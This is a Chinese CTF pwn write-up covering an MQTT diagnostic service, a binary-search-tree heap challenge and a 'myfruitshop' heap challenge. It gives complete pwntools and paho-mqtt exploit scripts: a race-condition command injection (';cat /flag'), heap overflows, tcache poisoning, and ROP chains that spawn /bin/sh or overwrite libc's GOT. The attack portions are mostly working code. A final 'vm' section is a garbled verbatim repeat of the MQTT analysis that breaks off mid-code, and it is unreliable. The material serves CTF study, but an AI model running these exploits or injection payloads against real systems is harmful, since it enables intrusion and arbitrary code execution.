然后题目进行初始化结束之后,直接给出pie 这个题目的问题是共用一个全局变量,我们可以根据这一点劫持程序执行流 这里的结构体干扰很多,随便选个就能崩溃,我们现在需要的是rop链子 0x1723 0x1A63 0x18BA 0x4050 这个题目的偏移是不好看出来的,我们需要不断去进行调整 我们好像已经找到了稳定控制的方式 我们通过这个前缀,后门加上我们的地址,可以稳定控制call rax 我们通过选择cat,我们控制传入的参数的形式 现在我们缺少一个system 但是我们在调试的时候,我们还是缺少了很多东西(*(heap_ptr + 6))(heap_ptr + 8);比如说这个,我们rax的调用的偏移是这个 我们发现了一个可控链子 这样输入的时候,call第二个时候,会出现这个情况 这里说明我们有四个gadget的长度进行,这个是我们找到的最大的攻击面 但是我们控制不了栈,我们还是只能控制一个gadget 下面是正常的交互的流程,这个应该是有格式化漏洞的 这个题需要还原出来结构体,要不靠猜的话很难做
当我选2随便输入一个字符之后
当我选3随便输入一个字符的时候
然后我们大致确定了如何调用system 在调用之后调用puts打印出来libc就行 弄了一下午还没有弄好,这个一旦到printf就会退出,这个要求的栈环境是真的严格 我们定义了一下午结构如下,终于深刻体会到的interactive的申力 我们这里可以定义好了,但是这里稳定传参有点被动,我们这条链子重置的表层的地址,就是隔开了一层地址,所以说我们还需要重新铺垫,手动构造一层隔离 我们理解错了,是差一层地址,不是多一层地址
我们可以利用这条链执行system,但是我们不能利用这条链泄露打印出来got表的地址 我问了问是用的格式化进行泄露的 expTHREE:mqtt为了运行起来,我们先去安装一下链接库 1. 安装 |
场景 | 可能的 |
正常运行 |
|
故障状态 |
|
诊断模式 |
|
CTF 特殊设计 | 可能包含内存地址、flag 片段(如果存在信息泄露) |
空或不存在 | 程序会降级为 |
然后追溯到这个函数
unsigned __int64 __fastcall sub_1702(const char *s)
{
unsigned int v2; // [rsp+1Ch] [rbp-54h] BYREF
_DWORD v3[4]; // [rsp+20h] [rbp-50h] BYREF
const char *s_1; // [rsp+30h] [rbp-40h]
int v5; // [rsp+38h] [rbp-38h]
int v6; // [rsp+3Ch] [rbp-34h]
int v7; // [rsp+40h] [rbp-30h]
int v8; // [rsp+44h] [rbp-2Ch]
int v9; // [rsp+48h] [rbp-28h]
int v10; // [rsp+4Ch] [rbp-24h]
int v11; // [rsp+50h] [rbp-20h]
__int64 v12; // [rsp+58h] [rbp-18h]
unsigned __int64 v13; // [rsp+68h] [rbp-8h]
v13 = __readfsqword(0x28u);
v3[0] = 1297371469;
v3[1] = 1;
v7 = 0;
v8 = 0;
v9 = 0;
v10 = 0;
v11 = 0;
v12 = 0;
printf("send: %s\n", s);
s_1 = s;
v3[2] = strlen(s);
v5 = 1;
v6 = 0;
MQTTClient_publishMessage(qword_5100, "diag/resp", v3, &v2);
MQTTClient_waitForCompletion(qword_5100, v2, 10000);
return v13 - __readfsqword(0x28u);
}2. 初始化 MQTT 消息结构体(关键!)
v3[0] = 1297371469; // 0x4D515453 -> "MQTS"(小端)
v3[1] = 1; // struct_version = 1
v7 = 0; // payload = s(稍后设置)
...
v3[2] = strlen(s); // payloadlen = 字符串长度
v5 = 1; // qos = 1(至少一次送达)
v6 = 0; // retained = false对应真实的结构体
typedef struct {
char struct_id[4]; // "MQTS"
int struct_version; // 1
int payloadlen; // 消息体长度
void* payload; // 消息体指针(即 s)
int qos; // 服务质量等级
int retained; // 是否保留消息
// ... 其他字段(如 dup, msgid 等)
} MQTTClient_message;解释一下函数
- 异步发布一条消息到指定的 MQTT 主题。
- 将消息放入发送队列后立即返回(不等待服务器确认)。
- 适用于 QoS 0/1/2 所有服务质量等级。
int MQTTClient_publishMessage(
MQTTClient handle,
const char* topicName,
MQTTClient_message* msg,
MQTTClient_deliveryToken* token
);- 阻塞等待某条已发布消息的投递完成(即收到服务器确认)。
- 仅对 QoS > 0 的消息有意义(QoS=0 是“发完就忘”,无确认机制)。
int MQTTClient_waitForCompletion(
MQTTClient handle,
MQTTClient_deliveryToken token,
unsigned long timeout
);流程图如下
然后我们分析一下回调函数
*(v5 + 16)→payload(JSON 字符串指针)*(v5 + 8)→payloadlen(长度)- 调用
cJSON_ParseWithLength(payload, len)安全解析 JSON(避免非 null 结尾问题)
typedef struct cJSON {
struct cJSON *next, *prev;
struct cJSON *child;
int type;
char *valuestring; // ← 偏移通常是 32 字节(64位系统)
int valueint;
double valuedouble;
char *string; // key 名称
} cJSON;- 创建一个新线程执行
start_routine pthread_detach表示线程结束后自动回收资源(无需 join)start_routine极大概率是漏洞触发点!
__int64 __fastcall handle(__int64 a1, __int64 a2, int a3, __int64 a4)
{
__int64 v5; // [rsp+0h] [rbp-50h] BYREF
int v6; // [rsp+Ch] [rbp-44h]
__int64 v7; // [rsp+10h] [rbp-40h]
__int64 v8; // [rsp+18h] [rbp-38h]
pthread_t newthread; // [rsp+20h] [rbp-30h] BYREF
__int64 v10; // [rsp+28h] [rbp-28h]
char *src; // [rsp+30h] [rbp-20h]
char *src_1; // [rsp+38h] [rbp-18h]
char *src_2; // [rsp+40h] [rbp-10h]
unsigned __int64 v14; // [rsp+48h] [rbp-8h]
v8 = a1;
v7 = a2;
v6 = a3;
v5 = a4;
v14 = __readfsqword(0x28u);
printf("Receive: %s\n", *(const char **)(a4 + 16));
v10 = cJSON_ParseWithLength(*(_QWORD *)(v5 + 16), *(int *)(v5 + 8));
if ( v10 )
{
src = *(char **)(cJSON_GetObjectItem(v10, "auth") + 32);
src_1 = *(char **)(cJSON_GetObjectItem(v10, "cmd") + 32);
src_2 = *(char **)(cJSON_GetObjectItem(v10, "arg") + 32);
strncpy(s1, src, 0x7Fu);
strncpy(dest_, src_1, 0x3Fu);
strncpy(p_src, src_2, 0x7Fu);
pthread_create(&newthread, 0, start_routine, 0);
pthread_detach(newthread);
cJSON_Delete(v10);
MQTTClient_freeMessage(&v5);
MQTTClient_free(v7);
}
return 1;
}步骤 | 说明 |
1. 设备启动 | 读取 |
2. 预计算 | (隐式)知道合法 |
3. 收到命令 | 检查 |
4. 通过才执行 | 防止未授权设备/用户发送指令 |
这个题目
这个似乎用这两个
sudo apt install -y mosquitto mosquitto-clients然后我们改一下配置文件
sudo tee /etc/mosquitto/conf.d/9999.conf <<EOF
listener 9999
allow_anonymous true
EOF然后我们重启一下
sudo systemctl restart mosquitto
ss -tulnp | grep ':9999'
mosquitto -p 9999 -d
-d 表示后台运行。然后我们运行的程序效果如下
⚡ root@ziran-VMware-Virtual-Platform /home/ziran/Desktop/mqtt ./pwn
Trying to reconnect to MQTT...
Trying to reconnect to MQTT...
^C
✘ ⚡ root@ziran-VMware-Virtual-Platform /home/ziran/Desktop/mqtt ./pwn
Init...
send: {"vin":"11111
","status":"status_unavailable"}
^C脚本
我们先安装这个脚本
pip install paho-mqtt我们利用的流程
MQTT 消息到达
↓
handle() 被回调(由 MQTTClient_setCallbacks 注册)
↓
解析 JSON → 提取 auth/cmd/arg → 存入全局变量 s1 / dest_ / p_src
↓
pthread_create(start_routine, ...)
↓
start_routine() 执行具体命令逻辑(需通过 verify() 认证)
这里是客户端和服务端交互的界面
我们通过这个指令可以进行交互,但是不清楚指令
mosquitto_pub -h 127.0.0.1 -p 9999 -t diag -m '{"auth":"5666fa39","cmd":"get_status","arg":""}' 这个是我们利用的逻辑
// 在 start_routine 函数中
if ( !strcmp(dest_, "get_version") ) { ... }
else if ( !strcmp(dest_, "get_location") ) { ... }
else {
if ( strcmp(dest_, "get_tpms") ) { // 这里只检查了 get_tpms
if ( !strcmp(dest_, "set_adb") ) { ... }
else if ( !strcmp(dest_, "set_vin") ) { ... }
else {
deal("unknown_command"); // 你收到的错误
}
}
else { /* get_tpms */ }
}然后经过我们噼里啪啦一顿动调,不断修复有问题的小点,最终也是可以弹flag了
EXP
import paho.mqtt.client as mqtt
import time
from json import dumps
from pwn import *
# ====== 关键配置 ======
broker = '127.0.0.1' # 服务器IP
port = 9999 # 服务器端口(必须指定!)
client_id = "python_client"
vin = '123\n' # 验证信息
def compute_hash(dest: str) -> str:
v3 = 0
for ch in dest:
v3 = (31 * v3 + ord(ch)) & 0xFFFFFFFF
return f"{v3:08x}"
auth = compute_hash(vin)
#auth = '00170818'
def on_connect(client, userdata, flags, rc):
print(f"Connected with result code {rc}")
client.subscribe("diag/resp")
def on_message(client, userdata, msg):
print(f"FLAG FOUND: {msg.payload.decode()}")
client = mqtt.Client(client_id)
client.on_connect = on_connect
client.on_message = on_message
#指定端口
client.connect(broker, port, 60) # 9999端口(不能省略)
#arg必须10+位 (原9位非法)
valid_arg = "1234567890123" # 10位合法字符串
#先发送合法命令触发sleep
auth = compute_hash(vin)
cmd1 = {
'auth': auth,
'cmd': 'set_vin',
'arg': valid_arg,
}
client.publish('diag', dumps(cmd1))
#pause()
print("Sent first command (valid arg, 10 chars)")
#0.5秒后发送注入命令
time.sleep(0.5)
cmd2 = {
'auth': auth,
'cmd': 'set_vin',
'arg': f"{valid_arg};cat /flag" # 注入点
}
client.publish('diag', dumps(cmd2))
print("Sent injection command (race condition)")
try:
print("Waiting for flag (up to 5 seconds)...")
client.loop_start()
time.sleep(5) #等待足够时间获取flag
except KeyboardInterrupt:
pass
finally:
client.loop_stop()
client.disconnect()FOUR:结构数
insert(BstTreeNode **T, int value): 插入新节点到BSTmidTree(BstTreeNode *T): 中序遍历BST并打印destoryNode(BstTreeNode *T, int val): 删除BST中指定值的节点searchTree(BstTreeNode *T, int val): 在BST中查找指定值的节点editTree(BstTreeNode *T, int val): 编辑BST中指定值的节点
下面这个是用户的操作的额函数
editIntroduce(): 编辑管理员的个人介绍showIntroduce(): 显示管理员的个人介绍AdminCheck(BstTreeNode *T): 管理员身份验证creatAdmin(): 创建管理员账户creatUser(): 创建普通用户账户init(): 程序初始化函数menu(): 显示主菜单insertTree(BstTreeNode **T): 插入BST节点
下面这个操作的流程
- 初始化阶段:
- 禁用输入/输出缓冲
- 创建用户(调用
creatUser()) - 创建初始BST(值为3和2)
- 显示初始树
- 主循环阶段:
- 显示菜单
- 根据用户选择执行相应操作:
- 1: 插入新节点
- 2: 中序遍历显示树
- 3: 删除节点
- 4: 编辑节点
- 5: 进入管理员模式
- 管理员模式:
- 输入密码验证
- 验证成功后显示管理员菜单
- 管理员可以:
- 编辑个人介绍
- 查看个人介绍
- 插入树节点
- 显示树
- 删除节点
- 编辑节点
核心就是我们通过树管理器的工作模式,让右指针清零;清零之后指向的空间不重要。清零之前让申请出来的val最大的堆块使用假的chunk,这个最重要。
然后我们依据这个逻辑泄露出来stack打stack劫持就行
exp如下
from pwn import *
p=process('./pwnNoGot')
e=ELF('./pwnNoGot')
context(arch='amd64', os='linux',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def init():
p.recvuntil('please input your name\n')
p.sendline('1')
p.recvuntil('please input your sex\n')
p.sendline('1')
p.recvuntil('please input your introduce\n')
p.sendline('1')
p.recvuntil('please input your password\n')
p.sendline('1')
def insert(val):
p.recvuntil('choice >>\n')
p.sendline('1')
p.recvuntil('value?\n')
p.sendline(str(val))
def midShow():
p.recvuntil('choice >>\n')
p.sendline('2')
def destory():
p.recvuntil('choice >>\n')
p.sendline('3')
def edit():
p.recvuntil('choice >>\n')
p.sendline('4')
def admin():
p.recvuntil('choice >>\n')
p.sendline('5')
def adminFree(value):
p.recvuntil(b'choice\n')
p.sendline('5')
p.recvuntil(b'val?\n')
p.sendline(str(value))
def adminInsert(value):
p.recvuntil(b'choice\n')
p.sendline('3')
p.recvuntil(b'value?\n')
p.sendline(str(value))
def adminDestory(value):
p.recvuntil(b'choice\n')
p.sendline('5')
p.recvuntil(b"val?\n")
p.sendline(str(value))
#-------------------------------------------------------------
init()
admin()
p.sendline('1')
for i in range(4,12):
insert(i)
#################连续调用一大串函数导致的溢出###############
insert(1)
insert(144)
insert(133)
insert(146) #########从这里之后都有溢出
insert(134)
insert(0)
insert(121)
insert(120)
insert(122)
insert(119)
insert(123)
insert(118)
insert(124)
insert(117)
insert(125)
insert(116)
insert(126)
insert(115)
insert(127)
#gdb.attach(p,'b *0x40197A')
#gdb.attach(p,"b *0x4016AB")
#gdb.attach(p,"b *0x4019C5")#0x4016FA
#gdb.attach(p,"b *0x4016FA")
#sleep(2)
#-------------------------------------------------------------
password=p64(0)+p64(0)+p64(0x21)+p64(0x86)+p64(0)+p64(0)+p64(0x21)
password = password.ljust(63,b'\x00')+p64(0x401749)
admin()
p.send(password)
#-------------------------------------------------------------
p.recvuntil(b'choice\n')
p.sendline('2')
p.recv(4)
heap_addr=u64((p.recv(6)).ljust(8,b'\x00'))-0xb30
log.success("heap : "+hex(heap_addr))
#-------------------------------------------------------------
adminFree(121)
adminFree(120)
adminFree(119)
#########通过这里实现的错位#################
#-------------------------------------------------------------
#-------------------------------------------------------------
admin_ptr_addr=0x405060-0x10
payload=p32(0)+p64(0)+p64(0x21)+p64((heap_addr>>12)^admin_ptr_addr) #一个改堆
p.recvuntil(b'choice\n')
p.sendline('1')
p.send(payload)
############往堆地址里面写入数值#############
#-------------------------------------------------------------
adminInsert(155) #这个是正好到那个位置
adminInsert(156)
adminDestory(11)
adminDestory(10)
###########重新调整一下树结构的顺序###################
adminInsert(0x405050-0xac) #溢出改栈
#gdb.attach(p,"b *0x401686")
#sleep(2)
#-------------------------------------------------------------
p.recvuntil(b'choice\n')
p.sendline('2')
p.recv(8)
stack=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))#u64(p.recv(6).ljust(8,b'\x00'))
print("stack = ",hex(stack))
#-------------------------------------------------------------
p.recvuntil(b'choice\n')
p.sendline('6') #edit #并不是直接影响的
p.recvuntil(b"val?")
p.sendline(str(0x405050-0xac))
p.sendline(str(0x405040-0xac)) #换了一个位置
#-------------------------------------------------------------
p.recvuntil(b'choice\n')
p.sendline('2')
libc.address=u64(p.recv(6).ljust(8,b'\x00'))-0x21b6a0
log.success("libc: "+hex(libc.address))
#-------------------------------------------------------------
adminFree(9)
#-------------------------------------------------------------
bin_sh=0xb00+heap_addr
p.recvuntil(b'choice\n')
p.sendline('6')
p.recvuntil(b"val?")
p.sendline(str(0x405040-0xac))
p.sendline(str(bin_sh-0xac)) #换了一个位置
p.recvuntil(b'choice\n')
p.sendline('1')
p.sendline(p64(stack+0x90-0xac))
#-------------------------------------------------------------
p.recvuntil(b'choice\n')
p.sendline('6')
p.recvuntil(b"val?")
p.sendline(str(bin_sh-0xac))
p.sendline(str(0x405060-0xac)) #换了一个位置
p.recvuntil(b'choice\n')
p.sendline('1')
p.sendline(p64(0xb00+heap_addr)) #这个地址存储了栈地址
#-------------------------------------------------------------
gdb.attach(p,"b *0x401683")
sleep(2)
p.sendline('1')
rop = flat(0x000000000040101a,0x000000000040101a,libc.address+0x000000000002a3e5,next(libc.search(b"/bin/sh\x00")),0x000000000040101a,libc.sym['system'])
p.sendline(rop)
#-------------------------------------------------------------------
p.interactive()FIVE:myfruitshop
今天来看看这个题目
apple=apple=1
这样之后的话就清晰了这个题目,我们可以利用这个存储算法的逻辑的漏洞来达到任意写的目的
里面有一个循环,是一个数据处理清洗逻辑的
while ( 1 )
{
s2 = dest_1;
for ( i = 0; dest_1[i] != '=' && dest_1[i] != ':' && dest_1[i]; ++i )
;
if ( !dest_1[i] )
break;
if ( dest_1[i] == 58 )
{
dest_1 += i + 1;
}
else
{
dest_1 += i + 1;
for ( j = 0; dest_1[j] != ':' && dest_1[j]; ++j )
;
for ( n9 = 0; n9 <= 9; ++n9 )
{
_Apple_ = strlen(&aApple[32 * n9]); // "Apple"
if ( !strncmp(&aApple[32 * n9], s2, _Apple_) )// "Apple"
{
if ( v10 )
{
v2 = v10++;
dest[v2] = 58;
}
_Apple__1 = &aApple[32 * n9]; // "Apple"
while ( *_Apple__1 )
{
v3 = _Apple__1++;
v4 = v10++;
dest[v4] = *v3;
}
v5 = v10++;
dest[v5] = '=';
for ( k = 0; k < j; ++k )
{
v6 = v10++;
dest[v6] = dest_[dest_1 - dest + k];
}
}
}
if ( dest_1[j] )
dest_1 += j + 1;
}
}将可能混乱的输入格式(如 "Apple1=5,Banana=3:Orange2=4,Apple=2")标准化为规范格式(如 "Apple=5:Banana=3:Apple=2"),同时过滤掉非法的水果名,确保只有系统认可的水果类型被保存。
这个有点麻烦看起来,让ai简化一下逻辑之后我们运行一下看看这一块的实际的效果
之后我们根据实际运行的效果定义一下交互的逻辑
这里是我们的定义的效果,我们可以通过这个去和程序进行交互
def cmd(choice):
rt(">")
sl(str(choice))
def add(content):
cmd(1)
rt("This is the fruit and price stocked on day")
s(content)
def show(idx):
cmd(2)
rt("Please enter the day number")
sl(str(idx))
def edit(idx,content):
cmd(3)
rt("which day?")
sl(str(idx))
rt("please edit")
s(content)为了获得内存级的理解,我们需要去调试一下程序
这个不仅没有free,也没有正常的show功能
unsigned __int64 show()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("Please enter the day number");
__isoc99_scanf("%llu");
if ( !heaplist[0] )
{
puts("error");
_exit(0);
}
printf("This is the fruit and price stocked on day %d\n", 0);
puts((const char *)heaplist[0]);
return v1 - __readfsqword(0x28u);
}这里有一个既定的水果数组
.data:0000000000004020 aApple db 'Apple',0 ; DATA XREF: add+356↑o
.data:0000000000004020 ; edit+3B2↑o
.data:0000000000004026 align 20h
.data:0000000000004040 aBanana db 'Banana',0
.data:0000000000004047 align 20h
.data:0000000000004060 aOrange db 'Orange',0
.data:0000000000004067 align 20h
.data:0000000000004080 aPeach db 'Peach',0
.data:0000000000004086 align 20h
.data:00000000000040A0 aWatermelon db 'Watermelon',0
.data:00000000000040AB align 20h
.data:00000000000040C0 aGrape db 'Grape',0
.data:00000000000040C6 align 20h
.data:00000000000040E0 aMango db 'Mango',0
.data:00000000000040E6 align 20h
.data:0000000000004100 aStrawberry db 'Strawberry',0
.data:000000000000410B align 20h
.data:0000000000004120 aPineapple db 'Pineapple',0
.data:000000000000412A align 20h
.data:0000000000004140 aLemon db 'Lemon',0
.data:0000000000004146 align 20h我们可以利用那个逻辑,然后利用这个
for ( k = 0; k < j; ++k )
{
v6 = v10++;
data_ptr[v6] = dest_[dest_1 - data_ptr + k];
}这里进行溢出,越界修改即可,利用数据进行填空
源码的话差不多是这样的
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// 假设 fruit 结构体定义如下
typedef struct {
const char *Name;
} fruit;
// 全局变量
char buf[0x2000];
int nread = 0;
char *inputArr[100]; // 存储解析后的 name=value 字符串
char val[0x2000]; // 临时存储 value 部分
size_t size[100]; // 记录每个条目的大小
fruit List[] = {
{"apple"},
{"banana"},
{"orange"},
// 更多水果...
};
// 主函数或处理函数
void process_input(size_t idx) {
// 1. 提示用户输入
puts("Please enter the fruit you want to stock and its price");
puts("Input format: name=value:name2=value2:......");
printf("This is the fruit and price stocked on day %d\n", idx);
// 2. 读取输入
nread = read(0, buf, 0x2000);
if (nread < 0) {
puts("error");
return;
}
// 3. 分配内存存储输入
char *str = malloc(nread + 1);
if (!str) {
puts("error");
_exit(0);
}
// 4. 复制数据到 str 和 val
memcpy(str, buf, nread);
str[nread] = '\0';
memcpy(val, buf, nread);
// 5. 开始解析
char *p = str;
size_t off = 0;
while (1) {
char *name = p; // 当前 name 的起始地址
size_t len = 0;
// 找到 name 的结束(遇到 '=' 或 ':' 或 '\0')
while (p[len] != '=' && p[len] != ':' && p[len] != '\0') {
len++;
}
if (p[len] == '\0') {
// 表示当前字段是最后一个,但没有 '=' → 错误或不完整
str[off] = '\0';
inputArr[idx++] = str;
memset(val, 0, sizeof(val));
return;
}
// 跳过 name 和 '='
p += len + 1; // 移动到 value 开始处
char *value = &val[p - str]; // value 在 val 中的偏移
len = 0;
// 找到 value 的结束(遇到 ':' 或 '\0')
while (p[len] != ':' && p[len] != '\0') {
len++;
}
// 查找匹配的 fruit 名称
for (size_t i = 0; i < sizeof(List) / sizeof(fruit); i++) {
fruit *cur = &List[i];
if (!strncmp(cur->Name, name, strlen(cur->Name))) {
// 匹配成功!
if (off > 0)
str[off++] = ':';
const char *n = cur->Name;
while (*n != '\0')
str[off++] = *n++;
str[off++] = '=';
for (size_t j = 0; j < len; j++)
str[off++] = value[j];
}
}
// 如果还没到字符串结尾,跳过冒号继续
if (p[len] != '\0') {
p += len + 1;
} else {
break;
}
}
// 最终设置字符串结束
str[off] = '\0';
inputArr[idx++] = str;
memset(val, 0, sizeof(val));
}流程的话差不多是这样
1. 用户输入:apple=5.99:banana=3.49
2. 读取到 buf
3. 分配 str 和 val 缓冲区
4. 循环解析:
- 找到 name(apple)
- 找到 value(5.99)
- 在 List 中查找 "apple"
- 若找到,构建输出:apple=5.99
5. 继续下一个字段
6. 最终将结果存入 inputArr这里是我们溢出并且把topchunk申请出来
然后我们修改一
libc = ELF('./libc.so.6')
pd=b'Apple =1Orange1=1234567\x41\x0d' #溢出两个的
add(pd)
pd=b'a'*0x1000
add(pd)
pd=b'Apple =1Orange1=1234'+b'56789012' #溢出八个的
edit(1,pd)
show(1)
rt(b"012")
rt(b"012")
lib=u64(io.recv(6).ljust(8,b'\x00'))-0x21ace0
log.success("addr : 0x%x"%lib)
pd=b'Apple = Apple=\x00\x00' ##溢出八个0的
edit(1,pd)
pd=b'Apple =1Orange1=1234567\x21\x0d' #溢出两个的
edit(1,pd)
pd=b'a'*(0xd20-0x40)
add(pd)
pd=b'Apple =1Orange1=1234567\x41\x0d' #溢出两个的
add(pd)
add(b'a'*0x2f)
add(b'a'*0xdff)
pd=b'Apple =1Orange1=1234567\x71\x01' #溢出两个的
add(pd)
edit(7,"enter")
add(b'a'*0xdff)
environ=libc.symbols['environ']+lib
pad=b'Apple =1Orange1=1234'+b'56789012' #溢出八个的
edit(7,pd)最后效果如下,修改got表即可
这里最后选择的修改libc中的got表,因为开启了pie,程序基址的got表不好泄露
又因为版本很高,hook也不好打,stack不好去泄露
所以说我们最后选择打got表
from pwn import *
io = process("./pwn")
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
rt = lambda x: io.recvuntil(x)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
def cmd(choice):
rt(">")
sl(str(choice))
def add(content):
cmd(1)
rt("This is the fruit and price stocked on day")
s(content)
def show(idx):
cmd(2)
rt("Please enter the day number\n")
sl(str(idx))
def edit(idx,content):
cmd(3)
rt("which day?")
sl(str(idx))
rt("please edit")
s(content)
''''''
libc = ELF('./libc.so.6')
pd=b'Apple =1Orange1=1234567\x41\x0d' #溢出两个的
# pd=b'a'*0x28
add(pd)
#gdb.attach(io)
pd=b'a'*0x1000
add(pd)
pd=b'Apple =1Orange1=1234'+b'56789012' #溢出八个的
edit(1,pd)
show(1)
io.recvuntil(b"012")
io.recvuntil(b"012")
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x21ace0
log.success("addr : 0x%x"%libc.address)
pd=b'Apple = Apple=\x00\x00' ##溢出八个0的
edit(1,pd)
pd=b'Apple =1Orange1=1234567\x21\x0d' #溢出两个的
# pd=b'a'*0x28
edit(1,pd)
#
pd=b'a'*(0xd20-0x40)
add(pd)
pd=b'Apple =1Orange1=1234567\x41\x0d' #溢出两个的
# pd=b'a'*0x28
add(pd)
add(b'a'*0x2f)
add(b'a'*0xdff)
pd=b'Apple =1Orange1=1234567\x71\x01' #溢出两个的
add(pd)
edit(7,"enter")
add(b'a'*0xdff)
environ=libc.symbols['environ']
pd=b'Apple =1Orange1=1234'+b'56789012' #溢出八个的
edit(7,pd)
show(7)
rt(b"012")
rt(b"012")
heap=u64(io.recv(5).ljust(8,b'\x00'))
heap=heap<<12
heap=heap-0x22000
log.success("heapaddr : 0x%x"%heap)
add(b'a'*0x2f)
add(b'a'*0xfff)
pd=b'Apple =1Orange1=1234567\x71\x01' #溢出两个的
add(pd)
edit(10,"enter")
add(b'a'*0xdff)
libcgot=0x21A090+libc.address
key=heap+0x44ea0
key=key>>12
pd=b'Apple =1Orange1=123456789'+ p64(libcgot^key) #溢出14个的
edit(11,pd)
gdb.attach(io)
add(b'a'*0x138)
add(p64(libc.address+0xebc88)*6+b'1'*0x108)
io.interactive()six:vm
id="ub647d192">可能包含内存地址、flag 片段(如果存在信息泄露)
空或不存在
程序会降级为 "status_unavailable"
然后追溯到这个函数
unsigned __int64 __fastcall sub_1702(const char *s)
{
unsigned int v2; // [rsp+1Ch] [rbp-54h] BYREF
_DWORD v3[4]; // [rsp+20h] [rbp-50h] BYREF
const char *s_1; // [rsp+30h] [rbp-40h]
int v5; // [rsp+38h] [rbp-38h]
int v6; // [rsp+3Ch] [rbp-34h]
int v7; // [rsp+40h] [rbp-30h]
int v8; // [rsp+44h] [rbp-2Ch]
int v9; // [rsp+48h] [rbp-28h]
int v10; // [rsp+4Ch] [rbp-24h]
int v11; // [rsp+50h] [rbp-20h]
__int64 v12; // [rsp+58h] [rbp-18h]
unsigned __int64 v13; // [rsp+68h] [rbp-8h]
v13 = __readfsqword(0x28u);
v3[0] = 1297371469;
v3[1] = 1;
v7 = 0;
v8 = 0;
v9 = 0;
v10 = 0;
v11 = 0;
v12 = 0;
printf("send: %s\n", s);
s_1 = s;
v3[2] = strlen(s);
v5 = 1;
v6 = 0;
MQTTClient_publishMessage(qword_5100, "diag/resp", v3, &v2);
MQTTClient_waitForCompletion(qword_5100, v2, 10000);
return v13 - __readfsqword(0x28u);
}2. 初始化 MQTT 消息结构体(关键!)
v3[0] = 1297371469; // 0x4D515453 -> "MQTS"(小端)
v3[1] = 1; // struct_version = 1
v7 = 0; // payload = s(稍后设置)
...
v3[2] = strlen(s); // payloadlen = 字符串长度
v5 = 1; // qos = 1(至少一次送达)
v6 = 0; // retained = false对应真实的结构体
typedef struct {
char struct_id[4]; // "MQTS"
int struct_version; // 1
int payloadlen; // 消息体长度
void* payload; // 消息体指针(即 s)
int qos; // 服务质量等级
int retained; // 是否保留消息
// ... 其他字段(如 dup, msgid 等)
} MQTTClient_message;解释一下函数
- 异步发布一条消息到指定的 MQTT 主题。
- 将消息放入发送队列后立即返回(不等待服务器确认)。
- 适用于 QoS 0/1/2 所有服务质量等级。
int MQTTClient_publishMessage(
MQTTClient handle,
const char* topicName,
MQTTClient_message* msg,
MQTTClient_deliveryToken* token
);- 阻塞等待某条已发布消息的投递完成(即收到服务器确认)。
- 仅对 QoS > 0 的消息有意义(QoS=0 是“发完就忘”,无确认机制)。
int MQTTClient_waitForCompletion(
MQTTClient handle,
MQTTClient_deliveryToken token,
unsigned long timeout
);流程图如下
然后我们分析一下回调函数
*(v5 + 16)→payload(JSON 字符串指针)*(v5 + 8)→payloadlen(长度)- 调用
cJSON_ParseWithLength(payload, len)安全解析 JSON(避免非 null 结尾问题)
typedef struct cJSON {
struct cJSON *next, *prev;
struct cJSON *child;
int type;
char *valuestring; // ← 偏移通常是 32 字节(64位系统)
int valueint;
double valuedouble;
char *string; // key 名称
} cJSON;- 创建一个新线程执行
start_routine pthread_detach表示线程结束后自动回收资源(无需 join)start_routine极大概率是漏洞触发点!
__int64 __fastcall handle(__int64 a1, __int64 a2, int a3, __int64 a4)
{
__int64 v5; // [rsp+0h] [rbp-50h] BYREF
int v6; // [rsp+Ch] [rbp-44h]
__int64 v7; // [rsp+10h] [rbp-40h]
__int64 v8; // [rsp+18h] [rbp-38h]
pthread_t newthread; // [rsp+20h] [rbp-30h] BYREF
__int64 v10; // [rsp+28h] [rbp-28h]
char *src; // [rsp+30h] [rbp-20h]
char *src_1; // [rsp+38h] [rbp-18h]
char *src_2; // [rsp+40h] [rbp-10h]
unsigned __int64 v14; // [rsp+48h] [rbp-8h]
v8 = a1;
v7 = a2;
v6 = a3;
v5 = a4;
v14 = __readfsqword(0x28u);
printf("Receive: %s\n", *(const char **)(a4 + 16));
v10 = cJSON_ParseWithLength(*(_QWORD *)(v5 + 16), *(int *)(v5 + 8));
if ( v10 )
{
src = *(char **)(cJSON_GetObjectItem(v10, "auth") + 32);
src_1 = *(char **)(cJSON_GetObjectItem(v10, "cmd") + 32);
src_2 = *(char **)(cJSON_GetObjectItem(v10, "arg") + 32);
strncpy(s1, src, 0x7Fu);
strncpy(dest_, src_1, 0x3Fu);
strncpy(p_src, src_2, 0x7Fu);
pthread_create(&newthread, 0, start_routine, 0);
pthread_detach(newthread);
cJSON_Delete(v10);
MQTTClient_freeMessage(&v5);
MQTTClient_free(v7);
}
return 1;
}步骤 | 说明 |
1. 设备启动 | 读取 |
2. 预计算 | (隐式)知道合法 |
3. 收到命令 | 检查 |
4. 通过才执行 | 防止未授权设备/用户发送指令 |
这个题目
这个似乎用这两个
sudo apt install -y mosquitto mosquitto-clients然后我们改一下配置文件
sudo tee /etc/mosquitto/conf.d/9999.conf <<EOF
listener 9999
allow_anonymous true
EOF然后我们重启一下
sudo systemctl restart mosquitto
ss -tulnp | grep ':9999'
mosquitto -p 9999 -d
-d 表示后台运行。然后我们运行的程序效果如下
⚡ root@ziran-VMware-Virtual-Platform /home/ziran/Desktop/mqtt ./pwn
Trying to reconnect to MQTT...
Trying to reconnect to MQTT...
^C
✘ ⚡ root@ziran-VMware-Virtual-Platform /home/ziran/Desktop/mqtt ./pwn
Init...
send: {"vin":"11111
","status":"status_unavailable"}
^C脚本
我们先安装这个脚本
pip install paho-mqtt我们利用的流程
MQTT 消息到达
↓
handle() 被回调(由 MQTTClient_setCallbacks 注册)
↓
解析 JSON → 提取 auth/cmd/arg → 存入全局变量 s1 / dest_ / p_src
↓
pthread_create(start_routine, ...)
↓
start_routine() 执行具体命令逻辑(需通过 verify() 认证)
这里是客户端和服务端交互的界面
我们通过这个指令可以进行交互,但是不清楚指令
mosquitto_pub -h 127.0.0.1 -p 9999 -t diag -m '{"auth":"5666fa39","cmd":"get_status","arg":""}' 这个是我们利用的逻辑
// 在 start_routine 函数中
if ( !strcmp(dest_, "get_version") ) { ... }
